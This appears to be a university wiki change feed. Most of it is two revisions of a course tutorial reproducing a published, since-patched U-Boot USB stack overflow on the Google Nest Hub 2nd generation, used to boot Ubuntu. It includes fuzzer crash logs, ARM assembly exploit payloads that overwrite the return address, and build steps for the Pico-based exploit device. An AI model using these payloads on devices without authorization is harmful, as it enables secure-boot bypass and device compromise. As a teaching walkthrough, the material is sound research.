By collecting and analyzing social media data, companies can gain valuable insights into the perceptions and behaviors of their customers and target audience. This can inform marketing strategies, customer service efforts, and product development. For example, a company might use social media intelligence to identify common customer pain points and develop solutions to address them, or to identify influencers to partner with in order to promote their brand.<br />
<br />
There are a number of tools and platforms available to help companies automate the process of gathering and analyzing social media data. These tools often include features such as keyword tracking, sentiment analysis, and competitor analysis.<br />
<br />
Overall, social media intelligence can be an important part of a company's market research and customer insights efforts, helping them to better understand and connect with their audience on social media. It can also be a useful way for companies to stay up-to-date on industry developments and emerging trends, and to identify opportunities for growth and innovation.<br />
<br />
== References ==<br />
<br />
* https://www.sciencedirect.com/science/article/abs/pii/S2214212614001343?via%3Dihub<br />
* https://link.springer.com/chapter/10.1007/978-3-642-22424-9_4<br />
* https://www.mdpi.com/1999-5903/11/4/89<br />
* https://www.researchgate.net/profile/Hugo-Barbosa/publication/315351300_SOCIAL_ENGINEERING_AND_CYBER_SECURITY/links/599c43430f7e9b892bafc0df/SOCIAL-ENGINEERING-AND-CYBER-SECURITY.pdf<br />
* https://cybernews.com/cyber-war/influencing-anonymous-experiment/<br />
*<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=File:01_mitnicks_attack_circle.png&diff=14532File:01 mitnicks attack circle.png2024-03-04T17:59:03Z<p>PKraubner: Kevin Mitnicks Social Engineering Attack Circle</p>
<hr />
<div>== Summary ==<br />
Kevin Mitnicks Social Engineering Attack Circle</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14376(Legacy) USB Vulnerability on Google Nest Hub2024-02-13T14:36:30Z<p>PKraubner: added precise explaination of the bootloader bug exploit</p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update [update number WIP], now the booting sequence of the Recovery Mode does not work as intended for this exploit to work.<br />
<br />
== Background == <br />
The USB Vulnerability on Google Nest Hub was an possible exploit found out by Frederic Bassé. His report is available at https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html.<br />
<br />
The possible firmware versions of the exploit were the following:<br />
<br />
* factory firmware (2020/12) - U-Boot 2019.01-gbfc19012ea-dirty (Dec 11 2020 - 04:19:32 )<br />
* factory firmware (2022/01, 2022/02) - U-Boot 2019.01-g9542d3593d-dirty (May 21 2021 - 20:52:42 )<br />
<br />
As stated by Frederic Bassé, the vulnerability shouldn't even exist since it's already been twice fixed upstream (means the developers or maintainers at the source have identified and resolved the vulnerability in the software's codebase, hence the fix is integrated into the main version of the software). The lack of CVE may explain why it hasn't been propagated downstream. (means the fix has been disseminated to the various versions or distributions that use the affected code. This can involve updating software packages, releasing new versions, or providing patches.)<br />
<br />
Beware that the Google Nest Hub will be receiving incoming upgrades for its firmware as soon as it receives a WLAN Signal (Firmware-Update-Over-The-Air, the Update is sent from the Google Servers wireless to the end device) and downgrading the firmware afterwards is not easily done.<br />
<br />
In conclusion you will need a device with a manufacturing date listed above and you must not connect it to WiFi or else the firmware version will be upgraded.<br />
<br />
The exploit essentially broke down in the following procedures:<br />
<br />
=== Hardware exploration ===<br />
As described on Electronics360 (Link in References), the Google Nest Hub is based on the SoC Amlogic S905D3G. Additionally there is a hidden Micro USB Port, which is used for debugging and normally not to be used by customers. This Micro USB Port is together with the power supply separated from the mainboard on an extra module. The two modules are connected with a 16-pin Flexible Flat Cable. Since the Micro USB 2.0 only requires 3 pins (the port has no power supply) and the power supply itself 11 pins, two pins are remaining. Measuring the voltage on these pins showed that one of these Pins is constant near-0V and the other fluctuates between 0 and 3.3V. This is suitable for an UART port. Via a debugging board with the right FFC connector (16-pin, 0.5mm pitch) one is able to gain access to UART, USB and the power supply.<br />
<br />
Via the UART port we can obtain the logs being sent during booting process by using an USB-to-Serial Adapter. Bootloader and U-Boot logs can be seen. When pressing both volume buttons, the Nest is trying to load a file named recovery.img from an external USB flash drive.<br />
<br />
=== Software exploration ===<br />
Said USB recovery mechanism is implemented in U-Boot, which is open source.<br />
By grepping the recovery.img, a function named recovery_from_udisk is found:<br />
<br />
"recovery_from_udisk=" \<br />
"while true ;do " \<br />
"usb reset; " \<br />
"if fatload usb 0 ${loadaddr} recovery.img; then "\<br />
"bootm ${loadaddr};" \<br />
"fi;" \<br />
"done;" \<br />
"\0" \<br />
<br />
Furthermore the function bootm, shown in the following lines, shows that recovery_from_udisk is activated when both volume buttons (GPIOZ_5 and GPIOZ_6) are being pressed.<br />
<br />
"upgrade_key=" \<br />
"if gpio input GPIOZ_5; then " \<br />
"echo detect VOL_UP pressed;" \<br />
"if gpio input GPIOZ_6; then " \<br />
"echo VOL_DN pressed;" \<br />
"setenv boot_external_image 1;" \<br />
"run recovery_from_udisk;" \<br />
[...]<br />
<br />
The recovery.img is verified by another function, aml_sec_boot_check. This verification needs to be bypassed in order to load a custom OS.<br />
<br />
To estimate the attack surface from the USB interface, we can take a look at the call flow triggered by the recovery feature:<br />
[[File:Uboot-cfg.png|500px|thumb|Uboot call flow diagram]]<br />
Basically usb reset exposes the USB driver when it performs USB enumeration,<br />
and fatload exposes several drivers : USB, Mass Storage, DOS partition, FAT filesystem.<br />
The bootm attack surface is very limited since it starts by calling the signature verification routine aml_sec_boot_check, which cannot be reviewed because it's implemented in TrustZone (no source code or binary available at this moment)<br />
<br />
It is known that U-Boot implements a sandbox architecture that allows it to run as a Linux user-space application. This feature is a convenient starting point to build a fuzzer for U-Boot code. Fuzz testing, or fuzzing, is a software testing technique where automated tools input random or unexpected data into a program to discover vulnerabilities, bugs, or unexpected behavior. A fuzzing harness that injects data in blk_dread (function that reads data from a block device), and triggers execution by calling fat_read_file shows that the USB Mass Storage driver sets multiple parameters in structure blk_desc that describe the detected block device in initialized state.<br />
<br />
One of these parameters is the block size (blk_desc.blksz) of the block device (which is an USB flash drive in our case). This value is obtained from the block device by sending command READ CAPACITY, which means attacker controls it.<br />
<br />
When tinkering with the block size, the following crash message could be detected:<br />
<br />
$ ./fuzz<br />
INFO: Seed: 473398954<br />
INFO: Loaded 1 modules (1402 inline 8-bit counters): 1402 [0x5aa0c0, 0x5aa63a), <br />
INFO: Loaded 1 PC tables (1402 PCs): 1402 [0x57ada0,0x580540), <br />
=================================================================<br />
==5892==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe6db4bb3f at pc 0x0000004f16af bp 0x7ffe6db4b790 sp 0x7ffe6db4af40<br />
WRITE of size 32768 at 0x7ffe6db4bb3f thread T0<br />
#0 0x4f16ae in __asan_memset (/u-boot-elaine/fuzzer/fuzz+0x4f16ae)<br />
#1 0x55a8cf in blk_dread /u-boot-elaine/fuzzer/blk.c:153:13<br />
#2 0x5284b1 in part_test_dos /u-boot-elaine/disk/part_dos.c:96:6<br />
#3 0x521f52 in part_init /u-boot-elaine/disk/part.c:242:9<br />
#4 0x55b494 in usb_stor_probe_device /u-boot-elaine/fuzzer/usb_storage.c:41:5<br />
#5 0x55b648 in LLVMFuzzerTestOneInput /u-boot-elaine/fuzzer/fuzz.c:42:5<br />
#6 0x42ee1a in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/u-boot-elaine/fuzzer/fuzz+0x42ee1a)<br />
#7 0x43052a in fuzzer::Fuzzer::ReadAndExecuteSeedCorpora(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x43052a)<br />
#8 0x430bf5 in fuzzer::Fuzzer::Loop(std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, fuzzer::fuzzer_allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > const&) (/u-boot-elaine/fuzzer/fuzz+0x430bf5)<br />
#9 0x426e00 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/u-boot-elaine/fuzzer/fuzz+0x426e00)<br />
#10 0x44a412 in main (/u-boot-elaine/fuzzer/fuzz+0x44a412)<br />
#11 0x7b733912f09a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2409a)<br />
#12 0x420919 in _start (/u-boot-elaine/fuzzer/fuzz+0x420919)<br />
<br />
Address 0x7ffe6db4bb3f is located in stack of thread T0 at offset 607 in frame<br />
#0 0x5282ff in part_test_dos /u-boot-elaine/disk/part_dos.c:90<br />
<br />
This frame has 1 object(s):<br />
[32, 607) '__mbr' (line 92) <== Memory access at offset 607 overflows this variable<br />
<br />
<br />
AddressSanitizer detected a stack buffer overflow in part_test_dos. This function is called to detect a DOS partition table when an USB Mass Storage device is connected.<br />
<br />
It is interesting to note that - while the crash occurs in DOS partition layer - the invalid size at the origin of the crash is set by the USB Mass Storage layer. This suggests that it is unlikely to find this bug if layers are fuzzed independently.<br />
<br />
The crash is caused by a simple bug in function part_test_dos :<br />
<br />
static int part_test_dos(struct blk_desc *dev_desc)<br />
{<br />
[...]<br />
(1) ALLOC_CACHE_ALIGN_BUFFER(legacy_mbr, mbr, 1);<br />
<br />
(2) if (blk_dread(dev_desc, 0, 1, (ulong *)mbr) != 1)<br />
<br />
The Buffer mbr of 512 bytes (sizeof(legacy_mbr)) is allocated on the stack.<br />
The Function blk_dread reads 1 block at address 0 from block device dev_desc and writes data to buffer mbr.<br />
<br />
If the block size (dev_desc->blksz) is larger than 512, function blk_dread overflows the buffer mbr.<br />
<br />
The block size can be controlled by attacker. Generally most USB flash drives have a block size of 512 bytes, and it cannot be customized easily. So it is required to build one, for example with an Raspberry.<br />
<br />
=== Building exploitation device ===<br />
<br />
A Raspberry Pico is being used for this project due to being cheap and being supported by TinyUSB (open source cross-platform USBHost-Device stack). TinyUSB enables one to build a customizable flash drive out of the Raspberry Pico.<br />
<br />
==== Is the device vulnerable? ====<br />
In order to check if the Nest is vulnerable to the bug, the block size is being changed to 1024 instead of the maximal supported 512 bytes.<br />
<br />
When the Pico is connected to the Nest USB-Port, the UART log shows that the Pico is being detected as Mass Storage with 1024-byte logical blocks:<br />
<br />
usb 1-2: New USB device found, idVendor=cafe, idProduct=4003, bcdDevice= 1.00<br />
usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3<br />
usb 1-2: Product: TinyUSB Device<br />
usb 1-2: Manufacturer: TinyUSB<br />
usb 1-2: SerialNumber: 123456789012<br />
usb-storage 1-2:1.0: USB Mass Storage device detected<br />
scsi host0: usb-storage 1-2:1.0<br />
scsi host0: scsi scan: INQUIRY result too short (5), using 36<br />
scsi 0:0:0:0: Direct-Access TinyUSB Mass Storage 1.0 PQ: 0 ANSI: 2<br />
sd 0:0:0:0: Attached scsi generic sg0 type 0<br />
sd 0:0:0:0: [sda] 16 1024-byte logical blocks: (16.4 kB/16.0 KiB)<br />
sd 0:0:0:0: [sda] Write Protect is off<br />
sd 0:0:0:0: [sda] Mode Sense: 03 00 00 00<br />
sd 0:0:0:0: [sda] No Caching mode page found<br />
sd 0:0:0:0: [sda] Assuming drive cache: write through<br />
sda:<br />
sd 0:0:0:0: [sda] Attached SCSI removable disk<br />
<br />
When booting the Nest and enabling the recovery mode by pressing both volume buttons, the Pico now is causing an exception. The UART log additionally provides us with some registers:<br />
<br />
"Synchronous Abort" handler, esr 0x02000000<br />
elr: ffffffff8110e000 lr : ffffffff8110e000 (reloc)<br />
elr: 0000000000000000 lr : 0000000000000000<br />
x0 : 0000000000000002 x1 : 0000000000000000<br />
x2 : 0000000000000000 x3 : 0000000000000000<br />
x4 : 000000007bed5b00 x5 : fffffffffffffff8<br />
x6 : 0000000000000000 x7 : 0000000000000000<br />
x8 : 0000000000000001 x9 : 0000000000000008<br />
x10: 000000007c0021b0 x11: 000000007c009b80<br />
x12: 0000000000000001 x13: 0000000000000001<br />
x14: 000000007bed5c4c x15: 00000000ffffffff<br />
x16: 0000000000004060 x17: 0000000000000084<br />
x18: 000000007bee1dc8 x19: 0000000000000000<br />
x20: 0000000000000000 x21: 0000000000000000<br />
x22: 000000000000002a x23: 000000007c008490<br />
x24: 000000007c008490 x25: 000000007ffdcd80<br />
x26: 0000000000000000 x27: 0000000000000000<br />
x28: 000000007c009ac0 x29: 0000000000000000<br />
<br />
Resetting CPU ...<br />
<br />
This is a good indicator that the device indeed is vulnerable to the bug.<br />
We see also the global data pointer "gd" which is stored in register x18.<br />
The bug allows to overflow a buffer on the stack to overwrite a return address.<br />
<br />
U-Boot source code (https://drive.google.com/file/d/1euEvmbInWddUFAhMhHe628WAnpdYpGIa/view?usp=sharing) shows us that stack top is located below said gd.<br />
<br />
==== Acquiring the offset of payload address ====<br />
<br />
Now to look for the offset in the payload that is sufficient to overwrite the return address, a payload with incremental arbitrary invalid pointers is forged and used as block 0 of the device.<br />
<br />
.text<br />
.global _start<br />
<br />
_start:<br />
.word 0xFFFFFC00<br />
.word 0xFFFFFC01<br />
.word 0xFFFFFC02<br />
[...]<br />
.word 0xFFFFFFFF<br />
<br />
The pico crashes this time with following error message:<br />
<br />
"Synchronous Abort" handler, esr 0x8a000000<br />
elr: fffffc8f8110dc8e lr : fffffc8f8110dc8e (reloc)<br />
elr: fffffc8ffffffc8e lr : fffffc8ffffffc8e<br />
x0 : 00000000ffffffff x1 : 0000000000000001<br />
x2 : 000000007bed5888 x3 : 0000000000000000<br />
x4 : 0000000000001000 x5 : 0000000000000200<br />
x6 : fffffffffffffffe x7 : 0000000000000000<br />
x8 : 0000000000000001 x9 : 0000000000000008<br />
x10: 000000007c0021b0 x11: 000000007c009b80<br />
x12: 0000000000000001 x13: 0000000000000001<br />
x14: 000000007bed5c4c x15: 00000000ffffffff<br />
x16: 0000000000004060 x17: 0000000000000084<br />
x18: 000000007bee1dc8 x19: fffffc91fffffc90<br />
x20: fffffc93fffffc92 x21: fffffc95fffffc94<br />
x22: 000000000000002a x23: 000000007c008490<br />
x24: 000000007c008490 x25: 000000007ffdcd80<br />
x26: 0000000000000000 x27: 0000000000000000<br />
x28: 000000007c009ac0 x29: fffffc8dfffffc8c<br />
<br />
Resetting CPU ...<br />
<br />
The link register lr contains an invalid pointer : fffffc8ffffffc8e.<br />
The values 0xFFFFFC8E and 0xFFFFFC8F are being recognized from the above payload. This means the offset is 0x238 (0x8e * 4 bytes).<br />
<br />
==== Determine the start address of payload ====<br />
<br />
Now it is required to determine the start address of the payload to be able to execute it.<br />
We already know that stack top is located below gd address (register x18).<br />
Maximum allowed block size is 0x8000, hence we have 8.185 branch instructions. We only need the address of any of these.<br />
<br />
A guess would be: (gd - 0x8000) = (0x7bee1dc8 - 0x8000) = 0x7BED9DC8.<br />
<br />
The pico code needs to be updated to use this new payload:<br />
<br />
.text<br />
.global _start<br />
<br />
_start:<br />
b _payload<br />
b _payload<br />
[...]<br />
.dword 0x7BED9DC8 // payload pointer at offset 0x238<br />
[...]<br />
b _payload<br />
b _payload<br />
_payload:<br />
adr x19, _start<br />
mov x20, x30<br />
mov x21, sp<br />
mov x22, #0xcafe<br />
blr x13<br />
<br />
The first instruction adr sets register x19 to the payload's start address. The last instruction blr branches to an invalid pointer x13 to ensure a crash, and thus dump registers on UART.<br />
<br />
The pico, when using the new payload, shows the following:<br />
<br />
"Synchronous Abort" handler, esr 0x8a000000<br />
elr: ffffffff8110e001 lr : fffffffffcfeb700 (reloc)<br />
elr: 0000000000000001 lr : 000000007bedd700<br />
x0 : 00000000ffffffff x1 : 0000000000000001<br />
x2 : 000000007bed5888 x3 : 0000000000000000<br />
x4 : 0000000000008000 x5 : 0000000000000200<br />
x6 : d63f01a0d2995fd6 x7 : 0000000000000000<br />
x8 : 0000000000000001 x9 : 0000000000000008<br />
x10: 000000007c0021b0 x11: 000000007c009b80<br />
x12: 0000000000000001 x13: 0000000000000001<br />
x14: 000000007bed5c4c x15: 00000000ffffffff<br />
x16: 0000000000004060 x17: 0000000000000084<br />
x18: 000000007bee1dc8 x19: 000000007bed5700<br />
x20: 000000007bed9dc8 x21: 000000007bed5960<br />
x22: 000000000000cafe x23: 000000007c008490<br />
x24: 000000007c008490 x25: 000000007ffdcd80<br />
x26: 0000000000000000 x27: 0000000000000000<br />
x28: 000000007c009ac0 x29: 14001f6e14001f6f<br />
<br />
Resetting CPU ...<br />
<br />
Register x22 contains the flag that indicates the payload was executed successfully. And x19 reveals that payload's start address is 0x7bed5700.<br />
<br />
To summarize, an USB Mass Storage device with following attributes is required:<br />
<br />
* block size of 1024, 2048, 4096, 8192, 16384 or 32768 bytes<br />
* payload contained in block 0<br />
* value 0x000000007bed5700 set at offset 0x238 in block 0<br />
<br />
==== Calling the bootloader ====<br />
<br />
This elevates us to execute arbitrary code. If we manage to obtain the bootloader, we can call the bootloader code in-memory, which is easier than setting up a baremetal payload for loading a whole OS.<br />
<br />
https://github.com/frederic/chipicopwn/blob/main/payloads/memdump_over_uart.c shows the required payload for dumping RAM Memory over the UART.<br />
<br />
First the gd structure (found on register x18) which contains a pointer to the bootloader code is being dumped.<br />
<br />
Variable gd->relocaddr indicates that the bootloader is at 0x7fef2000. We dump memory from this address up to gd->ram_top.<br />
<br />
==== Final Payload for the exploit ====<br />
<br />
We create a payload that elevates us to use U-Boot built-in commands.<br />
This final payload<br />
* fixes (in RAM) the bug we just exploited<br />
* calls U-Boot function run_command_list with _command_list as argument<br />
* sets the download buffer (0x01000000) as return address to execute next stage (if any)<br />
<br />
.text<br />
.global _start<br />
_start:<br />
sub sp, sp, #0x1000 // move SP below us to avoid being overwritten when calling functions<br />
ldr x0, _bug_ptr<br />
ldr x1, _bug_fix<br />
str x1, [x0] // fix the bug we just exploited<br />
adr x0, _command_list<br />
mov w1, #0xffffffff<br />
mov w2, #0x0<br />
ldr x30, _download_buf // set LR to download buffer<br />
ldr x3, _run_command_list // load binary into download buffer<br />
br x3<br />
<br />
_bug_ptr: .dword 0x7ff26060<br />
_bug_fix: .dword 0xd65f03c0d2800000<br />
_download_buf: .dword 0x01000000<br />
_run_command_list: .dword 0x7ff24720<br />
_command_list: .asciz "echo CHIPICOPWN!;osd setcolor 0x1b0d2b0d;usb reset;fatload usb 0 0x8000000 CHIPICOPWN.BMP;bmp display 0x8000000;while true;do usb reset;if fatload usb 0 0x01000000 u-boot-elaine.bin;then echo yolo;exit;fi;done;"<br />
<br />
The U-Boot commands in _command_list load 2 files from the first FAT partition of USB Mass Storage device:<br />
<br />
* CHIPICOPWN.BMP : the logo to display<br />
* u-boot-elaine.bin : the next payload to run. In our case, a custom U-Boot image.<br />
<br />
Once the function run_command_list returns, the next payload is executed.<br />
<br />
Since Rasperry Pi Pico flash memory is limited, we can put the file u-boot-elaine.bin on another USB flash drive that is hot-swapped with the Pico.<br />
<br />
Now we can boot an unsigned(!) OS. A good example would be the Ubuntu image for Raspberry Pi Generic (64-bit ARM), available at https://cdimage.ubuntu.com/releases/22.04/release/<br />
<br />
In conclusion we now have the<br />
* custom U-Boot bootloader with disabled secure boot: https://github.com/frederic/elaine-u-boot<br />
* custom Linux kernel for elaine for using peripherals: https://github.com/frederic/elaine-linux/commit/11068237d9178e77d79e3a5d27fc4f8f9b923c51 <br />
** note that the initial ramdisk had been repacked to be compatible with the Nest's touchscreen<br />
<br />
These files are copied to the Ubuntu USB flash drive.<br />
<br />
At last, we can plug in the Raspberry Pico, hotswap it with the USB drive when the logo shows up and we can install Ubuntu.<br />
<br />
<br />
== Summary == <br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1: Flashing Ubuntu USB Stick ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier. You can use Rufus or Etcher for this task.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
<br />
<br />
=== Step 2: Refining Ubuntu USB Stick ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3: Theoretical Background ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4: Preparing The Raspberry Pico ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 5: Preparing The Hardware ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
=== Result ===<br />
[[File:Demonstration.png|500px|thumb|Demonstration]]<br />
<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
== References ==<br />
<br />
* https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html<br />
* https://github.com/frederic/chipicopwn<br />
* https://github.com/frederic/elaine-bootimg<br />
<br />
Teardown Links:<br />
<br />
https://electronics360.globalspec.com/article/17053/teardown-google-nest-hub-2nd-gen<br />
https://fccid.io/A4RGUIK2/Internal-Photos/Internal-Photos-20200702-v1-Internal-Photos-5035937?utm_content=cmp-true<br />
<br />
[[Category:Documentation]]</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=File:Uboot-cfg.png&diff=14375File:Uboot-cfg.png2024-02-13T12:39:19Z<p>PKraubner: The call flow triggered by the recovery feature of the Google Nest Hub 2nd Generation (https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html)</p>
<hr />
<div>== Summary ==<br />
The call flow triggered by the recovery feature of the Google Nest Hub 2nd Generation (https://fredericb.info/2022/06/breaking-secure-boot-on-google-nest-hub-2nd-gen-to-run-ubuntu.html)</div>PKraubnerhttps://elvis.hcw.ac.at/wiki/index.php?title=(Legacy)_USB_Vulnerability_on_Google_Nest_Hub&diff=14103(Legacy) USB Vulnerability on Google Nest Hub2024-01-27T15:26:30Z<p>PKraubner: </p>
<hr />
<div>== Disclaimer ==<br />
<br />
Article in progress, this is not the final version.<br />
This tutorial has been patched by Google in December 2021 via OTA-update, now the booting sequence of the Recovery Mode does not work as intended for this exploit to work. <br />
<br />
== Summary == <br />
<br />
We want to change the OS of a Google Nest Hub 2. Generation by exploiting a vulnerability in the bootloader u-boot.<br />
<br />
<br />
== Requirements ==<br />
<br />
* 1x Google Nest Hub, 2nd Generation --> [[Nest_Hub_2nd_Generation]]<br />
* 1x Raspberry Pi Pico<br />
* 1x Powered Micro-USB Hub (NestUSB does not provide power)<br />
* 2x Micro-USB cables<br />
* 1x UART to USB<br />
* 1x bootable USB Stick with Ubuntu 22.04 and the files from https://github.com/frederic/elaine-bootimg (Elaine bootimg gives privilege to use the Nest touchscreen for the Linux OS)<br />
<br />
<br />
== Description ==<br />
<br />
=== Step 1 ===<br />
<br />
Flash an USB stick with Ubuntu 22.04, if you haven't done earlier. You can use Rufus or Etcher for this task.<br />
<br />
[[File:01_rufus_for_bootUSB.jpeg|500px|thumb|right|rufusflash]]<br />
<br />
<br />
<br />
=== Step 2 ===<br />
<br />
In order to be compatible with the touchscreen of the nest, we need to adjust some files in partition system boot.<br />
<br />
Copy the following files from the repository https://github.com/frederic/elaine-bootimg in partition system-boot :<br />
* u-boot-elaine.bin : U-Boot image for elaine<br />
* u-boot-elaine.cmd : U-Boot environment file<br />
* boot.img : Boot image (Kernel for elaine, DTB, initrd)<br />
<br />
=== Step 3 ===<br />
<br />
The exploit is made possible because there is a stack overflow within the bootloader u-Boot, which happens with block sizes greater than 512 bytes. Most USB-Sticks only support 512 Bytes. The solution is taking a suitable microcontroller, in our case a Raspberry Pico, which is equipped with TinyUSB, which provides a Mass Storage device example code that can turn a Raspberry Pi Pico into a customizable USB flash drive.<br />
This Pico will be used to inject arbitrary payload into the stack memory and overwrite return address to execute the payload.<br />
However, the storage of the pico is very limited, hence we will have to hotswap the pico with our USB Stick, which contains all neccessary data to install the OS.<br />
<br />
=== Step 4 ===<br />
<br />
For the Pico we will have to prepare the following:<br />
<br />
1. Install dependencies<br />
Update the system:<br />
sudo apt-get update<br />
<br />
Install dependencies:<br />
sudo apt install git<br />
sudo apt install openocd<br />
sudo apt install gcc-multilib<br />
sudo apt install build-essential<br />
sudo apt install python3-serial<br />
sudo apt install libudev-dev<br />
sudo apt install cmake gcc-arm-none-eabi libnewlib-arm-none-eabi build-essential <br />
sudo apt install libstdc++-arm-none-eabi-newlib<br />
<br />
Create workspace, current location /home/<br />
mkdir pico<br />
cd pico<br />
<br />
Clone pico-sdk and update it, current location /home/pico/<br />
git clone https://github.com/raspberrypi/pico-sdk.git --branch master<br />
cd pico-sdk<br />
git submodule update --init<br />
<br />
In the Pico folder we do clone our chipicopwn, current location /home/pico/<br />
<br />
sudo git clone https://github.com/frederic/chipicopwn chipicopwn<br />
cd chipicopwn<br />
<br />
Now we need the commands from the repository:<br />
Set the Path to wherever you saved your pico-sdk repository<br />
export PICO_SDK_PATH=/home/user/pico/pico-sdk/<br />
<br />
!! If you have this in the home directory do not use relative paths, since this command is executed as root!<br />
<br />
Flashing the program, current location /home/pico/chipicopwn<br />
It may be that a build folder already exists. It is recommended to delete it and make a new one, since some files may or may not work / flash as intended.<br />
<br />
mkdir build<br />
cd build<br />
sudo cmake ..<br />
sudo make<br />
<br />
<br />
Now the project should be built.<br />
Now we need to boot the Pico in bootloader mode (by holding down the BOOTSEL button) and get the chipicopwn.uf2 on the pico device itself by copying it.<br />
<br />
Now we should have two hardware components prepared:<br />
<br />
The USB Stick with the Ubuntu Image optimized for touchscreen and the Raspberry Pico with the modified bootloader.<br />
<br />
<br />
=== Step 5 ===<br />
<br />
Remove the lid underneath the Nest Hub base to expose USB port<br />
Connect the Raspberry Pico to Nest Hub (through powered-hub or Y-cable because the USB port does not provide power)<br />
[[File:HardwareCabled.png|500px|thumb|right|Verkabelte Hardware]]<br />
Hold Volume Down + Volume Up + Mute buttons while powering on the Nest Hub<br />
Once CHIPICOPWN logo appears on screen, replace the Raspberry Pico with USB flash drive<br />
<br />
Now you can install Ubuntu on your Google Nest.<br />
<br />
=== Result ===<br />
[[File:Demonstration.png|500px|thumb|Demonstration]]<br />
<br />
== Used Hardware ==<br />
<br />
[[Nest_Hub_2nd_Generation]]<br />
[[Raspberry Pi Pico]]<br />
[[Powered Micro-USB Hub]]<br />
[[Micro-USB cable]]<br />
optional for log insight: [[UART to USB Adapter]]<br />
<br />
== Courses ==<br />
<br />
* [[WFP2]] (2023)<br />
<br />
